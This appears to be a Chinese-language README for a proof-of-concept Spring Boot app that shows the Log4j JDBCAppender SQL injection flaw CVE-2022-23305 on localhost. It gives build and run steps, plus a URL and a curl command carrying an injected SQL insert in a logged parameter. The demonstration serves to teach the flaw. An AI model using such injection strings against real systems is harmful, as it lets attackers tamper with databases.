这是一个非常简单的基于 Spring Boot 的应用程序,用于演示 CVE-2022-23305 漏洞。它使用 Apache Maven、Spring Boot、Spring MVC 和 H2 内存数据库来记录一条简单的日志条目,该条目取自 URL 查询字符串参数。由于 Log4J 被配置为使用 JDBCAppender,因此它容易受到 SQL 注入攻击。
有关日志记录语句,请参阅 src/main/java/poc/InjectionController.java。
有关所有配置文件,请参阅 src/main/resource 文件夹。
你可以使用 Java 和 Maven 运行该应用程序,命令为 "mvn clean spring-boot:run"。
也可以将其作为 Docker 应用程序运行,例如:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
应用程序将在 http://localhost:8080/ 上可用。
要利用该漏洞,请将一个注入的 SQL 语句作为正在记录的参数提交:
"http://localhost:8080/?param=');insert into logs values(':("
返回结果将列出新增的日志条目,其中包含一条由注入到参数中的 SQL 所添加的条目。
要使用 curl 执行相同操作,请使用:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('